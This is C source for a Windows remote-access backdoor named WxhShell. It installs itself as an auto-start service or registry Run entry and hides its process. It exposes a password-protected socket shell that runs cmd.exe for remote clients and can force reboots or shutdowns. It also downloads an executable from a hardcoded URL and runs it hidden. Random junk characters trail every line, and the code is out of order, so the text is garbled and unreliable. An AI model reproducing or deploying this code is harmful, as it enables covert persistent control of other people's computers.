    if(Boot(SHUTDOWN)) M>gZVB,eP>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<?BIQz(}  
    else { +* {5ORq=  
    closesocket(wsh); +mOtYf W  
    ExitThread(0); [IBk-opap  
    } KL"L65g&  
    break; G5f57F  
    } _:p_#3s$  
  // 获取shell V"jnrNs3  
  case 's': { s'Q^1oQM2h  
    CmdShell(wsh); l'%R^  
    closesocket(wsh); ^|;4/=bbs  
    ExitThread(0); '0$[Ujc  
    break; }F`2$ Q+CW  
  } jF_I4H  
  // 退出 ",V5*1w  
  case 'x': { &E`Z_} ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "$pg mf2  
    CloseIt(wsh); U?j>28  
    break; PSR `8z n  
    } Y(Ezw !a  
  // 离开 ~'.yhPo g  
  case 'q': { Fh $&puF2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T5_Cu9>ax  
    closesocket(wsh); RAbq_^Q  
    WSACleanup(); %<|KJb4?  
    exit(1); m e{SVG{  
    break; HWOH8q{f!  
        } K61os&K  
  } " z'!il#  
  } BQ0\+  
R >&/n/l  
  // 提示信息 M F: Eu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0w. _}C z  
} xumv I{  
  }  " 1Aus  
8mLU ~P |  
  return; wT yM9wz&  
} `3oP^#  
:?k=Yr  
// shell模块句柄 mJR T+SZ  
int CmdShell(SOCKET sock) @\}36y  
{ }?kO<)d  
STARTUPINFO si; q:sR zX  
ZeroMemory(&si,sizeof(si)); Vp{2Z9]}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; " <a|Q,!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yb{t!KL  
PROCESS_INFORMATION ProcessInfo; &ru0i@?)  
char cmdline[]="cmd"; Rj`Y X0?+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S`w)b'B!M  
  return 0; !PIdw~YC  
} S]/ +n>  
D07u?  
// 自身启动模式 *S_Iza #&x  
int StartFromService(void) y<d#sv(s  
{ o|q#A3%?  
typedef struct Ib2pV2`h(  
{ }h6z&:qA[?  
  DWORD ExitStatus; n5>N9lc  
  DWORD PebBaseAddress; Ps\^OJR  
  DWORD AffinityMask; t&]Mt 7  
  DWORD BasePriority; f"^tOgGH  
  ULONG UniqueProcessId; >;W(Jb7e  
  ULONG InheritedFromUniqueProcessId; mDf WR  
}   PROCESS_BASIC_INFORMATION; ]t;5kj/  
]bweQw@i  
PROCNTQSIP NtQueryInformationProcess; X-F HJ4  
Q*(o;\s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? d\8Q't*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ntiz-qW  
x)L@x Q  
  HANDLE             hProcess; IyP].g1"U  
  PROCESS_BASIC_INFORMATION pbi; >K%x44|  
=T$- #bA)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]#n4A|&H  
  if(NULL == hInst ) return 0; NLY5L7  
K_n%`5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3vU (4}@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P$I\)Q H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =C)1NJx&~  
HCK4h DKo}  
  if (!NtQueryInformationProcess) return 0; bp,CvQ'}a  
EdpR| z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1PSb72h<  
  if(!hProcess) return 0; T<)z2Bi  
Dm#k-y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p#2th`M:P1  
Z- (HDn  
  CloseHandle(hProcess); P\e%8&_U/  
>`'9V| 1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a~>h'}C>  
if(hProcess==NULL) return 0; : 6V 8  
Q>$L;1E*,  
HMODULE hMod; ]EQ/*ct  
char procName[255]; yk2j&}M  
unsigned long cbNeeded; `l"~"x^Rr  
{eUfwPAa3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6< Z9p@6  
h[T3WE  
  CloseHandle(hProcess); e AjtWqg  
T`sM4 VWqU  
if(strstr(procName,"services")) return 1; // 以服务启动 9MxGyGz$  
hgGcUpJy?  
  return 0; // 注册表启动 mGvP9E"&  
} 4>*`26  
Vk-_H)*r  
// 主模块 JB<4 m4-  
int StartWxhshell(LPSTR lpCmdLine) Ji q[VeLe  
{ .~J^`/o  
  SOCKET wsl; ^h=kJR9  
BOOL val=TRUE; h6/Z_ Y  
  int port=0; Sdp1h0E}7=  
  struct sockaddr_in door; M.xEiHz  
cqudF=q  
  if(wscfg.ws_autoins) Install(); Hr$5B2'  
.U_=LV]C  
port=atoi(lpCmdLine); d%bL_I)  
mz1g8M`@[D  
if(port<=0) port=wscfg.ws_port; T*m21<  
&bQ^J%\  
  WSADATA data; 9"S3AEI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xl;N= fc  
UB}mI0/w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^MUM04l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :%{7Q$Xv<  
  door.sin_family = AF_INET; Kl?1)u3^4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ikQ2x]Sp  
  door.sin_port = htons(port); rNc>1}DDS  
*F0N'*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iQF93:#  
closesocket(wsl); 9[M u   
return 1; n :P}K?lg  
} ?3#X5WT  
f$|v  
  if(listen(wsl,2) == INVALID_SOCKET) { xh0!H| R  
closesocket(wsl); STe;Sr&p  
return 1; AI2CfH#:C  
} h*LIS@&9C5  
  Wxhshell(wsl); }qTvUs  
  WSACleanup(); $`%.Y&A  
RS~oSoAE  
return 0; |UG)*t/  
T[~X~dqwn"  
} ^^#A9AM  
vs~*=d27Pf  
// 以NT服务方式启动 Vs >1%$If  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i ^#R iCeo  
{  UWI5 /R  
DWORD   status = 0; ?W()Do1tR  
  DWORD   specificError = 0xfffffff; GfDA5v[  
k4v[2y`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ',f[y:v;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U|=y&a2Rb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *"@P2F&  
  serviceStatus.dwWin32ExitCode     = 0; I,D=ixK  
  serviceStatus.dwServiceSpecificExitCode = 0; eC?N>wHH  
  serviceStatus.dwCheckPoint       = 0; /1*\*<cs  
  serviceStatus.dwWaitHint       = 0; 4y 'REC  
":OXs9Yg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SPBXI[[-  
  if (hServiceStatusHandle==0) return; 9V~yK?  
-UO$$)Q  
status = GetLastError(); 2sngi@\  
  if (status!=NO_ERROR) P+[R0QS  
{ RW 5T}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a^BD55d?  
    serviceStatus.dwCheckPoint       = 0; T~la,>p|}  
    serviceStatus.dwWaitHint       = 0; 945psG@|  
    serviceStatus.dwWin32ExitCode     = status; TO<g@u]*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5gGr|d|(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sMZ \6  
    return; &PbH!]yd  
  } FE`J.aw^X  
fw<'ygd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^#+9v  
  serviceStatus.dwCheckPoint       = 0; \2YhI0skW  
  serviceStatus.dwWaitHint       = 0; ?G@%haqn6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IcB>Hg5  
} \a<E3 <  
AK[c!mzx  
// 处理NT服务事件,比如:启动、停止 q_!3<.sf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >a,w8^7  
{ q+<TD#xoL  
switch(fdwControl) |$Td-M^)  
{ CXa$QSu>  
case SERVICE_CONTROL_STOP: {z w#My   
  serviceStatus.dwWin32ExitCode = 0; gCmGFQE-f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V5=Injs *  
  serviceStatus.dwCheckPoint   = 0; bbz86]AhY  
  serviceStatus.dwWaitHint     = 0; OnG?@sW+4!  
  { LTxOq|/Cq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d97wiE/i<  
  } *fE5Z;!}  
  return; *{uu_O  
case SERVICE_CONTROL_PAUSE: )[A}h'J)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,W.O*vCA  
  break; Mf?4 `LM  
case SERVICE_CONTROL_CONTINUE: -Jb I7Le  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #p^D([k \  
  break; \o/oM,u  
case SERVICE_CONTROL_INTERROGATE: PWTAy\  
  break; #N*~Q  
}; nv|&|6?`oK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $lvpBs  
} ~`y6YIJ3  
B|!Re4`0  
// 标准应用程序主函数 d6u L;eR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )9}z^+TH  
{ }RXm=ArN  
wDn5|F}i&  
// 获取操作系统版本 "F=O   
OsIsNt=GetOsVer(); _]B'C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5'X.Z:  
rKO[;]_*  
  // 从命令行安装 ^+-i7`|=  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yt&^ i(  
1&U U6|X  
  // 下载执行文件 AtSEKpKc  
if(wscfg.ws_downexe) { ^s^X nQhE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nfc&.(6x<  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jg@PhN<9  
} ALhu\x>AY  
HH^eEh4g  
if(!OsIsNt) { xand%XNv  
// 如果时win9x,隐藏进程并且设置为注册表启动 J5429Soo  
HideProc(); dH8H<K~  
StartWxhshell(lpCmdLine); 9T)-|fja_  
} C/)Xd^#  
else 5K,Y6I&$SJ  
  if(StartFromService()) W}Z'zU?[  
  // 以服务方式启动 d>2>mT$U  
  StartServiceCtrlDispatcher(DispatchTable); f"z96{zo  
else @X|CubJ  
  // 普通方式启动  E;k'bz  
  StartWxhshell(lpCmdLine); 9%|!+!j  
.QW89e,O3  
return 0; jfk`%C Ek=  
} fF ;-d2mF  
Ok9XC <Xu  
;as B@Q  
WUKYwA/t  
=========================================== ri6_u;Ch  
TeQpmhN  
geua8;  
^MuO;<<,.  
H.*XoktC]  
_E3*;  
" *U8Pjb1  
(,[Oy6o  
#include <stdio.h> sk 9*3d5I  
#include <string.h> q* +}wP  
#include <windows.h> Ve<l7U;  
#include <winsock2.h> f Vw+8[d0  
#include <winsvc.h> $`mxOcBmQ  
#include <urlmon.h> fs\l*nBig  
g$~ktr+%  
#pragma comment (lib, "Ws2_32.lib") LyH{{+V  
#pragma comment (lib, "urlmon.lib") \It8+^d@  
F8f@^LVM/  
#define MAX_USER   100 // 最大客户端连接数 @a+1Ri`)  
#define BUF_SOCK   200 // sock buffer +g%kr~w=  
#define KEY_BUFF   255 // 输入 buffer Pr9$( 6MX  
Iell`;  
#define REBOOT     0   // 重启 0KE+RzrB  
#define SHUTDOWN   1   // 关机 {U>B\D  
W-2,QVp%  
#define DEF_PORT   5000 // 监听端口 # 2s$dI  
K08xiMjl  
#define REG_LEN     16   // 注册表键长度 5$/ED3mcK  
#define SVC_LEN     80   // NT服务名长度 b|P[\9  
hvkLcpE  
// 从dll定义API @h$cHZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  [td)v,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -)PQ&[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <`}Oi 5nW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Jjay#  
E)7vuWO O  
// wxhshell配置信息 f%;8]a9  
struct WSCFG { unKi)v1  
  int ws_port;         // 监听端口 u,I_p[`E  
  char ws_passstr[REG_LEN]; // 口令 0"#'Z>"  
  int ws_autoins;       // 安装标记, 1=yes 0=no NJRk##Z  
  char ws_regname[REG_LEN]; // 注册表键名 akoK4!z  
  char ws_svcname[REG_LEN]; // 服务名 +iY.YV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R.-2shOE'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kf/1;:^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fYBmW')  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KEEHb2q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >+ul LQqe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f%<kcM2  
Cz` !j  
}; &'Pwz  
2r4owB?  
// default Wxhshell configuration J'jwRn  
struct WSCFG wscfg={DEF_PORT, BIqZg$  
    "xuhuanlingzhe", TCWy^8LA  
    1, @z[,w`  
    "Wxhshell", 0Z $=2c?xT  
    "Wxhshell", ..'k+0u^  
            "WxhShell Service", cks53/Z  
    "Wrsky Windows CmdShell Service", ~PAF2  
    "Please Input Your Password: ", $dIu${lu  
  1, 'B>fRN  
  "http://www.wrsky.com/wxhshell.exe", AwN7/M~'  
  "Wxhshell.exe" I&%{%*y  
    }; ji9 (!G  
"^Y)&<J&  
// 消息定义模块 {}RE;5n\['  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }86&? 0j.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GG<{n$h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^E{M[;sF3y  
char *msg_ws_ext="\n\rExit."; bk^W]<:z`  
char *msg_ws_end="\n\rQuit."; Z<jio  
char *msg_ws_boot="\n\rReboot..."; QhR.8iS  
char *msg_ws_poff="\n\rShutdown..."; I6@98w}"  
char *msg_ws_down="\n\rSave to ";  3 c #oK  
>zx]% W  
char *msg_ws_err="\n\rErr!"; R9bsl.e  
char *msg_ws_ok="\n\rOK!"; d nRbt{`jP  
J)tk<&X  
char ExeFile[MAX_PATH]; O<}3\O )G(  
int nUser = 0; ZFYv|2l  
HANDLE handles[MAX_USER]; 0N9`WK  
int OsIsNt; nE;^xMOK!  
RrB)u?  
SERVICE_STATUS       serviceStatus; e1ts/@V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; trlZ^K  
:4JqT|nS  
// 函数声明 #y;TSHx/  
int Install(void); DD5 S R  
int Uninstall(void); X)6}<A  
int DownloadFile(char *sURL, SOCKET wsh); '9d<vW g  
int Boot(int flag); [Ume^  
void HideProc(void); ML eo3  
int GetOsVer(void); g2)jd[GM  
int Wxhshell(SOCKET wsl); 2w"Xv,*.'i  
void TalkWithClient(void *cs); |W $epOLg  
int CmdShell(SOCKET sock); tf<}%4G  
int StartFromService(void); #x|xL7  
int StartWxhshell(LPSTR lpCmdLine); yR}PC/>  
Y%$@ZYW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ye?4^@u u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S\wh *'Y  
"wwAbU<  
// 数据结构和表定义 t 3LRmjL  
SERVICE_TABLE_ENTRY DispatchTable[] = n/]w!  
{ $FR1^|P/G  
{wscfg.ws_svcname, NTServiceMain}, vl}fC@%WRI  
{NULL, NULL} TEB<ia3+  
}; }7Lo}}  
d6RO2^  
// 自我安装 Z!#n55 |  
int Install(void) j<,Ho4v}_  
{ I'sq0^  
  char svExeFile[MAX_PATH]; `eZ +Pf".  
  HKEY key; -!_\4  
  strcpy(svExeFile,ExeFile); 1=o|[7  
F"I{_yleq'  
// 如果是win9x系统,修改注册表设为自启动 -O&u;kh4g  
if(!OsIsNt) { [te9ui%JS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CB!5>k+mC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H|UGR ~&  
  RegCloseKey(key); 7c.96FA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jeb"t1.$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HV0!G-h  
  RegCloseKey(key); &>%R)?SZh  
  return 0; nrFuhW\r  
    } s<#["K*_  
  } x{'3eJ^8  
} I| V yv  
else { nf%"7y{dd  
dio<?6ZD9P  
// 如果是NT以上系统,安装为系统服务 ^jph"a C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ioJ~k[T  
if (schSCManager!=0) %1JN%  
{ @'5*u~M  
  SC_HANDLE schService = CreateService gC/~@Z8W]  
  ( S2APqRg*  
  schSCManager, TK! D=M  
  wscfg.ws_svcname, uGo tXb  
  wscfg.ws_svcdisp, /Ko{S_3< I  
  SERVICE_ALL_ACCESS, D6Q6yNE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `qXCY^BH2  
  SERVICE_AUTO_START, E\$7tXQK6  
  SERVICE_ERROR_NORMAL, o x|K2A  
  svExeFile, :NCY6? [Dz  
  NULL, s8O.yL  
  NULL, (Ci{fY6`  
  NULL, J`I^F:y*  
  NULL, !Py SYY  
  NULL bY@ S[  
  ); ;~^9$Z@%Q  
  if (schService!=0) JkfVsmc<{h  
  { j:Y1  
  CloseServiceHandle(schService); JXhHitUD  
  CloseServiceHandle(schSCManager); jWUpzf)q=T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K-<kp!v  
  strcat(svExeFile,wscfg.ws_svcname); ^Fop/\E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GS*Mv{JJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^i;y2c  
  RegCloseKey(key); ezz;NH  
  return 0; jIvSjlmI  
    } O,D/& 0  
  } \c1NIuJR  
  CloseServiceHandle(schSCManager); $E >)  
} Uo<iZ3J  
} {e/6iSpT  
U=Hx&g  
return 1; hRc.^"q9  
} vG2&qjY1  
:c?}~a~JO(  
// 自我卸载 U%PII>s'#  
int Uninstall(void) ~#]$YoQ&O  
{ 3Yb2p!o  
  HKEY key; ZH s' #  
=Rw-@ *#l  
if(!OsIsNt) { s/+k[9l2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PV(TDb:0  
  RegDeleteValue(key,wscfg.ws_regname); q@+#CUa&n  
  RegCloseKey(key); @lO(QpdG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cUDo}Yu  
  RegDeleteValue(key,wscfg.ws_regname); rzk-_AFR  
  RegCloseKey(key); l)P~#G+C  
  return 0; [t{ed)J  
  } mI4)+8SUu  
} r5s$#,O/&Q  
} _v\L'`bif  
else { (\qO~)[0  
HLruZyN4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9)~Ha iVB  
if (schSCManager!=0) aP`[O]8j  
{ 5 0KB:1(g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %=PGvu  
  if (schService!=0) f 8AgTw,K8  
  { T+knd'2V6  
  if(DeleteService(schService)!=0) { i0jR~vF {B  
  CloseServiceHandle(schService); 4UV6'X)V  
  CloseServiceHandle(schSCManager); >cdxe3I\  
  return 0; \J?l7mG  
  } ]A.tauSW  
  CloseServiceHandle(schService); ohW qp2~  
  } L2WH-XP=  
  CloseServiceHandle(schSCManager); YT@D*\  
} Pkq?tm$#  
} ,x]xtg?  
U%qE=u-  
return 1; +jv&V%IL  
} M[}aQWT$v  
?z/ )Hkw  
// 从指定url下载文件 %9HL "  
int DownloadFile(char *sURL, SOCKET wsh) 24; BY'   
{ gQ8FjL6?  
  HRESULT hr; 4r+s" |  
char seps[]= "/"; {wS)M  
char *token; }iBFo\vU  
char *file; #CcC& I :c  
char myURL[MAX_PATH]; a*T=;P3(I  
char myFILE[MAX_PATH]; b$,~S\\c  
K:_5#!*^98  
strcpy(myURL,sURL); #y2IHO-  
  token=strtok(myURL,seps); ]A]EED.ZH  
  while(token!=NULL) g/_j"Nn  
  {  ]$=\zL  
    file=token; gq`S`  
  token=strtok(NULL,seps); 'G|M_ e  
  } BJ$\Mb##3@  
!7fL'  
GetCurrentDirectory(MAX_PATH,myFILE); 1SY`V?cu  
strcat(myFILE, "\\"); =,HxtPJ  
strcat(myFILE, file); mDB?;a>  
  send(wsh,myFILE,strlen(myFILE),0); <,\Op=$l3I  
send(wsh,"...",3,0); NW AT"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L^b /+R#  
  if(hr==S_OK) y<0RgG1qp  
return 0; NJqjW  
else %fH&UFby  
return 1; BK/~2u  
f?[0I\V[$  
} m&&Y=2  
L3s1a -K  
// 系统电源模块 Rg,]d u u?  
int Boot(int flag) s ~ Xa=_+D  
{ $sa5aUg }  
  HANDLE hToken; f*tKj.P  
  TOKEN_PRIVILEGES tkp; piPx8jT`F  
}s>.Fh  
  if(OsIsNt) { hP$v,"$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xoQ;fVNp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pr_$%x9D  
    tkp.PrivilegeCount = 1; a|u&N:v7B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -rXo}I,VI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }r _d{nhi  
if(flag==REBOOT) { SAUfA5|e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iI 4XM>`a  
  return 0; ^h^\kW'#  
} [)S7`K;  
else { kE` V@F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D&C83^m  
  return 0; >x0)  
} ^W)h=49PN  
  } 4n 9c  
  else { qbZY[Q+F  
if(flag==REBOOT) { CG397Y^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]\ DIJ>JZ  
  return 0; K H&o`U(}  
} R'e>YDC  
else { <{"Jy)Uf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '}pe$=  
  return 0; H-ewO8@  
} FcI ZG _  
} :.J]s<J(F  
"'zVwU  
return 1; N |nZf5{  
} +[C><uP  
\'[C_+;X  
// win9x进程隐藏模块 5<=ktA48[  
void HideProc(void) W%,h{  
{ FsTl@zN  
1nAAs;`'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 23_\UTM}1  
  if ( hKernel != NULL ) Dc;zgLLL  
  { 7 8n`VmH~L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l<"Z?z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~IIlCmMl,  
    FreeLibrary(hKernel); 7!r)[2l  
  } vf-cx\y7  
WN`|5"?$  
return; c!20(( 2|I  
} Fmo^ ?~b  
`k.Nphx~%  
// 获取操作系统版本 PEIf)**0N  
int GetOsVer(void) lQ!)0F  
{ hOH DXc"  
  OSVERSIONINFO winfo; v[t *CpGd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q/u1$&1  
  GetVersionEx(&winfo); $1< ~J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8*\PWl  
  return 1; E6njm du  
  else $Il:Yw_  
  return 0; ek9Y9eJ"  
} uL1$yf'  
|o0?u:  
// 客户端句柄模块 ,LpGE>s  
int Wxhshell(SOCKET wsl) P S [ifC  
{ s?-J`k~q  
  SOCKET wsh; 25m6/Y  
  struct sockaddr_in client; Sru}0M#M  
  DWORD myID; W2-1oS~ma  
BH+@!H3 hf  
  while(nUser<MAX_USER) d4[mR~XXT  
{ qQ=\R1l  
  int nSize=sizeof(client); +\@}IKWl-?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w]Byl3}Gt  
  if(wsh==INVALID_SOCKET) return 1; R3\oLT4  
:^92B?q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HAOl&\)7"_  
if(handles[nUser]==0) v==]v2 -  
  closesocket(wsh); S{.G=O  
else u U;]/  
  nUser++; +,$ SZO]  
  } #G`UR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W]l&mr  
),53(=/hl  
  return 0; D @bnm s  
} 4,.B#: 8  
i{.%4tA4  
// 关闭 socket Qe,aIh  
void CloseIt(SOCKET wsh) 6'YsSde".  
{ NKJ+DD:'  
closesocket(wsh); fAHf}j  
nUser--; {T2=bK~  
ExitThread(0); fRT4,;  
} N-cLp}D}WB  
KM o]J1o  
// 客户端请求句柄 LRa^x44  
void TalkWithClient(void *cs) "pLWJvj6-  
{ )*tV  
F\U^-/0,  
  SOCKET wsh=(SOCKET)cs; ,ag:w<km  
  char pwd[SVC_LEN]; CpG]g>]L&[  
  char cmd[KEY_BUFF]; =MCQNyf+  
char chr[1]; pjVF^gv,*  
int i,j; ICxj$b  
XI"8d.VR  
  while (nUser < MAX_USER) { K[/sVaPZ  
[8OQ5}do/  
if(wscfg.ws_passstr) { 3|qT.QR`Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6^vseVx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yj-JB  
  //ZeroMemory(pwd,KEY_BUFF); 5:W 5@e{  
      i=0; `N.^+Mvx-  
  while(i<SVC_LEN) { I C?bqC+  
$-Wn|w+h<a  
  // 设置超时 (|kcSnF0  
  fd_set FdRead; m?4L>'  
  struct timeval TimeOut; brXLx +H8  
  FD_ZERO(&FdRead); dvLO#o{  
  FD_SET(wsh,&FdRead); KDQqN]rg  
  TimeOut.tv_sec=8; Yfotq9.=+  
  TimeOut.tv_usec=0; <[W41{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -<MA\iSP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QgZ`~  
ljJi|+^$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qY^@^)b[  
  pwd=chr[0]; a"6AZT"8  
  if(chr[0]==0xd || chr[0]==0xa) { r iuG,$EX  
  pwd=0; zJ9[),;7B  
  break; :#I7);ol  
  } \4qw LM?E^  
  i++; d=J$H<  
    } C[0*>W8o  
byrK``f  
  // 如果是非法用户,关闭 socket M`jqU g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,|u^-J@  
} %hnv go:^g  
xQ{n|)i>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "?r=n@Kv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 45+w)Vf!  
@s[Vtw%f  
while(1) { dH8^\s .F  
9PZY](/  
  ZeroMemory(cmd,KEY_BUFF); Y  c]  
(}jYi*B  
      // 自动支持客户端 telnet标准   ,dZ&i! @?  
  j=0; S="teH[  
  while(j<KEY_BUFF) { GI ~<clhf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C>bd HB7  
  cmd[j]=chr[0]; tn@MOOP l  
  if(chr[0]==0xa || chr[0]==0xd) { P}dhpU  
  cmd[j]=0; vsDR@Y}k  
  break; h0v4!`PQ-  
  } XC NM  
  j++; ]z{f)`;I  
    } ImnN&[Cu  
IC[iCrB  
  // 下载文件 f:)%+)U<Xm  
  if(strstr(cmd,"http://")) { h9J%NH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ny oRp  
  if(DownloadFile(cmd,wsh)) F9Y/Z5 Ea  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SA1| 7  
  else p l.D h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K@DK4{  
  } v\;hI5WY  
  else { -N4km5  
)C0dN>Gb  
    switch(cmd[0]) { bF#1'W&  
  IW1+^F9NEw  
